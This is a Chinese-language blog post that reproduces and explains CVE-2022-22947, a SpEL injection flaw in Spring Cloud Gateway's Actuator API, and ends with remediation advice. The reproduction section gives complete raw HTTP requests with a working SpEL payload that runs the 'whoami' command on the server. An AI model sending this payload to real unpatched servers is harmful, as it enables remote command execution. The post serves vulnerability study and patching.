Spring Cloud Gateway RCE

Spring Cloud Gateway RCE

一、基本介绍

CVE编号:CVE-2022-22947

​Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

Spring Cloud Gateway:

是Spring Cloud微服务的一个网关组件。

1、路由(Route)

2、断言(Predicate)

3、过滤器(Filter)

Spring Boot Actuator:

是Spring Boot框架中的一个监控组件。

Gateway配置可以使用两种方式:

1、通过yml或者properties固定配置

2、通过actuator接口动态配置

Actuator操作Gateway接口列表:

id HTTP Method 描述
globalfilters GET 返回全局Filter列表
routefilters GET 每个路由的Filter
routes GET 路由列表
routes/[id] GET 指定路由的信息
routes/[id] POST 创建路由
refresh POST 刷新路由缓存
routes/[id] DELETE 删除路由

二、漏洞复现

版本要求:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

过程:

1、启动Spring Cloud Gateway服务

2、添加过滤器(POST)

POST /actuator/gateway/routes/hacker HTTP/1.1
Host: 192.168.142.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 331
Content-Type: application/json

{
  "id": "hacker",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

3、刷新过滤器(POST)

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.142.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

4、访问过滤器ID(GET)

http://192.168.142.133:8080/actuator/gateway/routes/hacker

Result中有命令执行返回的信息。

三、原理分析

1、开启Acutator,可以通过接口列出路由(包括过滤器),如:actuator/gateway/routes

2、可以通过/actuator/gateway/routes/{id}创建路由

3、通过/actuator/gateway/reflesh刷新路由

4、当路由带有恶意的Filter,里面的spEL表达式会被执行

个人理解:

Spring Cloud GatewayRCE漏洞主要是使用了Actuator接口对Gateway动态配置,而且Actuator接口可以被其他人访问,可以创建Gateway中的路由规则,攻击者对Filter中写入恶意spEL表达式,服务器会去解析spEL表达式,造成命令执行。

四、修复方法

1、更新升级Spring Cloud Gateway版本

2、在不考虑影响业务的情况下禁用actuator接口

management.endpoint.gateway.enable=false

posted @ 2023-04-28 23:46  candada  阅读(1239)  评论(0编辑  收藏  举报